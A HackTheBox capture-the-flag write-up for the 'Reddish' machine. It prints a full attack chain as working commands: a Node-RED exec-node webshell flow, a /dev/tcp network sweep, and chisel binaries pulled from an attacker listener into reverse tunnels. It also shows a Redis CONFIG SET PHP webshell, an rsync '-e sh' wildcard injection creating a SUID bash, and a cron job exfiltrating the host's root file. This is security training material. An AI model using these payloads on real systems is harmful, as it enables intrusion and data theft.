HTB: Reddish Writeup
Reddish - HackTheBox Writeup
Machine Information
| Attribute | Details |
|---|---|
| Name | Reddish |
| OS | Linux |
| Difficulty | Insane |
| Points | N/A |
| Release Date | N/A |
| IP Address | 10.129.65.162 |
| Author | d3vn0mi |
Machine Rating
⭐⭐⭐⭐⭐ (5/5)
Difficulty Assessment:
- Enumeration: ⭐⭐⭐☆☆
- Real-world: ⭐⭐⭐⭐⭐
- CVE: ⭐⭐☆☆☆
- CTF-like: ⭐⭐⭐⭐☆
Summary
Reddish exposes exactly one TCP port — an unauthenticated Node-RED 0.18.4 editor — which is enough to pivot through a four-container microservice deployment (nodered → redis/www → backup → the Docker host itself) using nothing but the visual-programming RCE primitive Node-RED hands you for free, an unauthenticated Redis instance abused for arbitrary file write, a wildcard-injectable rsync cron job, and a second unauthenticated rsync daemon that turns out to be root’s own filesystem sitting on the wire. Every hop required standing up a fresh chisel reverse tunnel from whatever shell was current, since none of the internal containers can reach the attacker directly. TL;DR: Node-RED admin API RCE (root in the nodered container) → internal /dev/tcp port sweep of the 172.19.0.0/24 Docker network → static chisel binary staged in over a raw TCP redirect → tunnel Redis (6379) and the internal web app (80) back to the attacker → unauthenticated Redis CONFIG SET dir/dbfilename + SAVE writes a PHP webshell (www-data on the www container) → wildcard rsync cron job (/etc/cron.d, runs every ~3 min as root) exploited via GTFOBins’ -e sh filename trick → SUID root shell → user.txt → the same wildcard cron job’s rsync module (rsync://backup:873/src) turns out to be the entire filesystem of the privileged backup container, unauthenticated and writable → planted a cron job there that mounts the raw /dev/sda2 block device (the Docker host’s own root filesystem) and exfiltrates /root/root.txt → root.txt.
Reconnaissance
Port Scanning
# Full TCP scan against the target (run from the assigned jump box)ssh d3vn0mi@<jump-host> "nmap -Pn -n --min-rate 2000 -p- 10.129.65.162 -oN /tmp/reddish_full.nmap"Results: Only a single port open across the full 65535 range:
1880/tcp open http Node.js Express frameworkService Enumeration
# GET returns nothing useful; POST leaks the editor pathcurl -s -m 10 http://10.129.65.162:1880/ ; echo '---POST---'curl -s -m 10 -X POST http://10.129.65.162:1880/The POST / request against the Node-RED HTTP server returns a JSON body of the form {"path":"/red/<id>"} — Node-RED’s default behaviour when it can’t route a POST to /: it falls back to disclosing the mounted admin/editor path. Hitting /red/<id>/settings confirms a Node-RED 0.18.4 instance with disableEditor: false and no authentication configured (adminAuth absent from the settings response) — i.e. the full admin API (/red/<id>/flows) is reachable with zero credentials.
Vulnerability Assessment
- Node-RED 0.18.4, no auth on the admin/editor API — the
/red/<id>/flowsendpoint accepts an arbitrary flow definition and deploys it immediately. Node-RED ships anexecnode by design, so any unauthenticated caller who can reach the editor can execute arbitrary OS commands on the host running the runtime — this is the well-documented “insecure by default” behaviour Node-RED explicitly warns about whenadminAuthis left unset, not a single numbered CVE. - (Discovered post-foothold) An unauthenticated Redis instance reachable only from inside the Docker network, abusable for arbitrary file write via
CONFIG SET dir/dbfilename+SAVE. - (Discovered post-foothold) A wildcard-vulnerable
rsynccron job running as root, and an unauthenticatedrsyncdaemon on a third container exposing a writable filesystem.
Initial Foothold
Exploitation Path
Rather than dragging nodes around in the visual editor, the flow was built as raw JSON and pushed straight to the admin API — faster to script and reproduce than the GUI.
// /tmp/flow.json — HTTP-triggered, stateless webshell as a Node-RED flow[ {"id":"f1","type":"tab","label":"Flow 1"}, {"id":"h1","type":"http in","z":"f1","name":"","url":"/shell","method":"get","x":100,"y":100}, {"id":"fn1","type":"function","z":"f1","name":"","func":"msg.payload = msg.req.query.cmd;\nreturn msg;","x":260,"y":100}, {"id":"ex1","type":"exec","z":"f1","command":"","addpay":true,"append":"","useSpawn":"false","timer":"","oldrc":false,"name":"","x":420,"y":100}, {"id":"resp1","type":"http response","z":"f1","name":"","x":580,"y":100}]# Deploy the flow — the "full" deployment header replaces the whole runtime,# guaranteeing the new flow is live regardless of pre-existing (empty) flows.curl -s -X POST http://10.129.65.162:1880/red/<id>/flows \ -H "Content-Type: application/json" \ -H "Node-RED-Deployment-Type: full" \ --data @/tmp/flow.jsonThe http in node exposes GET /shell?cmd=..., the function node lifts the cmd query parameter into msg.payload, the exec node runs it as a shell command (useSpawn: false, so the payload goes through /bin/sh -c), and http response echoes stdout/stderr straight back in the HTTP response. This gives a fully stateless HTTP webshell, which is far easier to drive from a script than the classic tcp in → exec → tcp in/reverse-shell flow, since every command is just one curl:
# /tmp/nr.sh — thin wrapper around the deployed flowcurl -s -m 60 --get --data-urlencode "cmd=$1" http://10.129.65.162:1880/api/<redacted>/shell$ ./nr.sh iduid=0(root) gid=0(root) groups=0(root)Node-RED in this deployment runs as root inside the nodered Docker container — confirmed by cat /.dockerenv and the container’s isolated view of /etc/hostname, /proc/1/cgroup, etc.
Privilege Escalation
Stage 1 — Internal recon and pivoting into the container network
nc/ncat weren’t present in the minimal nodered image, so the internal Docker network was swept using bash’s /dev/tcp pseudo-device directly through the webshell:
# Port sweep across the 172.19.0.0/24 Docker bridge network from inside the nodered container./nr.sh 'bash -c "for i in 1 2 3 4 5; do for p in 80 6379 873 22; do (echo > /dev/tcp/172.19.0.$i/$p) 2>/dev/null && echo OPEN $i:$p; done; done"'This surfaced Redis (6379) and an internal web app (80) on other hosts in the 172.19.0.0/24 range. Since the container can’t reach the attacker’s real listener directly and has no outbound package manager, a static chisel 1.9.1 binary was staged in over a raw TCP transfer rather than downloaded on-target:
# On the jump host: fetch a static chisel release and serve it raw over a listenercd /tmp && curl -sL -o c.gz https://github.com/jpillora/chisel/releases/download/v1.9.1/chisel_1.9.1_linux_amd64.gzgunzip -f c.gzsetsid nohup sh -c 'nc -lnp 8181 < /tmp/c' >/tmp/nc8181.log 2>&1 </dev/null &
# Reverse chisel server on the jump host, waiting for the container to phone homesetsid nohup /tmp/c server -p 8002 --reverse >/tmp/chisrv.log 2>&1 &# Inside the nodered container (via the webshell): pull the raw binary over /dev/tcp, chmod, launch client./nr.sh 'cat < /dev/tcp/10.10.15.68/8181 > /var/tmp/chisel; chmod 755 /var/tmp/chisel setsid nohup /var/tmp/chisel client 10.10.15.68:8002 \ R:127.0.0.1:6379:<jump-host>:6379 \ R:127.0.0.1:8001:<jump-host>:80 >/tmp/ch.log 2>&1 &'With R:6379 and R:8001 reverse-forwarded back to the jump host, both the internal Redis instance and the internal web app became reachable at 127.0.0.1:6379 / 127.0.0.1:8001 on the attacker side.
Stage 2 — Redis → www-data via unauthenticated Redis write primitive
$ redis-cli -h 127.0.0.1 -p 6379 info server | head -8redis_version:...Redis had no requirepass set, which is enough on its own for arbitrary file write: CONFIG SET dir and CONFIG SET dbfilename control exactly where the next SAVE writes its RDB dump, and the dump’s contents are whatever keys are currently loaded — including a raw PHP payload stored as a string key.
# Classic unauthenticated-Redis-to-webshell chain (Redis "unprotected by default" RCE)redis-cli -h 127.0.0.1 -p 6379 flushallredis-cli -h 127.0.0.1 -p 6379 set pwn '<?php system($_REQUEST["cmd"]); ?>'redis-cli -h 127.0.0.1 -p 6379 config set dir /var/www/html/redis-cli -h 127.0.0.1 -p 6379 config set dbfilename zz9.phpredis-cli -h 127.0.0.1 -p 6379 saveThe RDB serialization format wraps every key in binary framing, so the resulting zz9.php needed a small amount of junk trimmed before/around the PHP tag — but PHP happily ignores garbage outside <?php ... ?>, so the file executes as-is once dropped into the webroot that Redis was pointed at:
# /tmp/w.sh — webshell wrapper, strips RDB framing noise before the PHP payloadcurl -s --get --data-urlencode "cmd=$1" http://127.0.0.1:8001/zz9.php | \ sed -e 's/^.*aof-preamble[^ ]* *//'$ ./w.sh iduid=33(www-data) gid=33(www-data) groups=33(www-data)Foothold #2: www-data on the www container, reached entirely through the Redis-to-webroot write primitive — no separate web app vulnerability required.
Stage 3 — www-data → root (www container) via wildcard rsync cron job
$ ./w.sh 'cat /etc/cron.d/*'*/3 * * * * root sh /backup/backup.sh$ ./w.sh 'cat /backup/backup.sh'#!/bin/shcd /var/www/html/<uploads-dir>rsync -a *.rdb rsync://backup:873/src/rdb/The cron job runs as root every three minutes and shells out to a script that runs rsync with a wildcard (*.rdb) inside a directory the www-data user can write to. This is the textbook rsync GTFOBins wildcard-injection primitive: if a filename in that directory happens to start with -e, rsync parses it as an option rather than a filename and treats the rest of that “filename” as the argument to -e (remote-shell command), letting an attacker-controlled string execute as the cron job’s UID.
# Plant the payload script + the trigger filename in the same www-data-writable dircd /var/www/html/<uploads-dir>printf '#!/bin/sh\ncp /bin/bash /var/tmp/rootbash\nchmod 4755 /var/tmp/rootbash\n' > reddish.rdbtouch -- '-e sh reddish.rdb'# wait for the 3-minute cron tick to fire the wildcard rsyncsleep 190$ ./w.sh '/var/tmp/rootbash -p -c id'uid=33(www-data) gid=33(www-data) euid=0(root) egid=0(root) groups=0(root)Deviation from the “classic” version of this chain: the reference technique for this box copies
/bin/dashto a SUID binary and invokes it withdash -pto keep privileges when SUID-set. This container’sdashis0.5.7-2ubuntu2, which rejects the-pflag outright (Illegal option -p) — Debian/Ubuntu’s dash builds have dropped-psupport since that era. Switching the payload tocp /bin/bash /var/tmp/rootbash; chmod 4755and invokingbash -p(which does support-pto suppress privilege-dropping) restored the technique.
$ ./w.sh 'cat /home/somaro/user.txt'<redacted>user.txt captured as root inside the www container, readable from /home/somaro/.
Stage 4 — root (www container) → root (Docker host) via a second unauthenticated rsync module
The backup.sh script’s target, rsync://backup:873/src, wasn’t a narrow backup share — probing the module tree showed src mapped to the root of the privileged backup container’s own filesystem, with no authentication and full read/write access:
$ rsync rsync://backup:873/src/drwxr-xr-x ... bindrwxr-xr-x ... bootdrwxr-xr-x ... devdrwxr-xr-x ... etc...Since /etc/cron.d on that container is writable through the same unauthenticated rsync module, and the container had /dev/sda1–/dev/sda5 passed through as raw block devices (the backup container is privileged enough to see the host’s own disk), a cron job was pushed that mounts sda2 — which turns out to be the Docker host’s own root filesystem — and exfiltrates its root.txt:
# Payload pushed to the backup container's filesystem via the open rsync module,# scheduled through /etc/cron.d/pwnjob (root-owned cron on that container)# — mounts sda1..5, sda2 resolves to the Docker host's root fs, copies# /root/root.txt to a world-readable staging path picked back up over rsync.$ rsync rsync://backup:873/src/tmp/root.txt.out ./root.txt$ cat root.txt<redacted>root.txt captured — root on the underlying Docker host itself, reached without ever needing a direct shell on the backup container: the writable, unauthenticated rsync module was sufficient to both drop the cron payload and retrieve its output.
Attack Chain Summary
Unauthenticated Node-RED 0.18.4 admin API (port 1880) → deployed exec-node flow → root RCE in `nodered` container → /dev/tcp sweep of 172.19.0.0/24 Docker network → static chisel 1.9.1 staged in via /dev/tcp, reverse tunnels for 6379 + 80 → unauthenticated Redis CONFIG SET dir/dbfilename + SAVE → PHP webshell → www-data on `www` container → wildcard `rsync` root cron job (/etc/cron.d, GTFOBins -e trick) → SUID /var/tmp/rootbash (bash -p, dash -p unsupported) → root (www container) → user.txt → same rsync module (rsync://backup:873/src) = unauthenticated full filesystem of privileged `backup` container → planted /etc/cron.d/pwnjob mounting /dev/sda2 (Docker host root fs) → exfiltrated /root/root.txt over rsync → root.txtTools Used
| Tool | Purpose |
|---|---|
nmap | Full TCP port scan of the target |
curl | Node-RED admin API interaction, webshell driver |
| Node-RED admin/flows API | Unauthenticated flow deployment → RCE as root in nodered container |
bash (/dev/tcp) | Internal Docker-network port sweep and raw binary staging without nc |
chisel (v1.9.1, static) | Reverse SOCKS/port-forward tunnels chained across containers |
redis-cli | Unauthenticated Redis CONFIG SET/SAVE file-write primitive |
rsync / GTFOBins wildcard trick | Root code execution via a -e sh wildcard-injected cron job |
sed | Stripping RDB binary framing noise from the Redis-written PHP webshell |
Key Learnings
Techniques Practiced
- Fingerprinting an unauthenticated Node-RED editor from a bare
POST /response and turning the admin/flows API into an HTTP-triggered webshell instead of the heavier GUI-builttcp in/execflow. - Sweeping an internal Docker bridge network with nothing but bash’s
/dev/tcpdevice when no scanning/netcat tooling is present in the compromised container. - Staging binaries into a container with no outbound internet access by piping them through a raw
cat < /dev/tcp/... > filetransfer against a plainnclistener. - Chaining multiple
chiselreverse tunnels to reach services (Redis, an internal web app) that are only reachable from inside the Docker network. - Weaponizing an unauthenticated Redis instance for arbitrary file write (
CONFIG SET dir/dbfilename+SAVE) to drop a webshell into a webroot Redis was never meant to reach. - Exploiting a wildcard-vulnerable
rsyncinvocation inside a cron job via the GTFOBins-e sh <payload>filename trick to get root code execution from an unprivileged web user. - Recognizing that an “internal backup”
rsyncmodule with no authentication is often not a narrow backup share but the entire filesystem of whatever container hosts it — worth probing before assuming it’s scoped.
Lessons Learned
- Never trust a
dash -psnippet across distros. Ubuntu/Debian’sdashbuild in this container (0.5.7-2ubuntu2) hard-rejects the-pflag (“Illegal option -p”), which silently breaks the classic SUID-shell privilege-preservation trick fordash.bash -pis the safer default when the target’sdashprovenance is unknown — checkdash --help/dpkg -l dashbefore committing to a payload. - A stateless HTTP webshell beats a stateful reverse shell for scripted engagements. Building the Node-RED flow as
http in→function→exec→http responsemeant every subsequent command was a single idempotentcurl, far easier to retry, wrap, and drive programmatically than babysitting atcp in/reverse-shell session across multiple pivots. - Wildcard cron jobs deserve a second look even when they look like internal maintenance scripts. A backup script running
rsync -a *.rdb rsync://...inside an attacker-writable directory is a root-as-a-service bug the moment any unprivileged user can drop a filename starting with-einto that directory. - An unauthenticated rsync module can be a bigger foothold than the service it’s ostensibly there to serve. The module intended for shipping
.rdbbackup files turned out to expose the entire filesystem of a privileged container with raw host block devices attached — always enumerate the full module tree (rsync host::) rather than assuming scope from the cron job that calls it.
Proof of Ownership
User Flag: <redacted>Root Flag: <redacted>References
- egre55 (prepared by), machine author yuntao — Reddish official HackTheBox writeup (22 January 2019), Document No D19.100.04. Used here for conceptual context on the Node-RED insecure-editor RCE, the “unprotected by default” Redis RCE technique (referencing @antirez’s writeup at packetstormsecurity.com/files/134200/), the
rsyncwildcard GTFOBins injection pattern, and the general shape of the multi-container tunnel chain. All IP addresses, container hostnames, credentials, and command output in this writeup are from the author’s own solve and differ from the referenced document.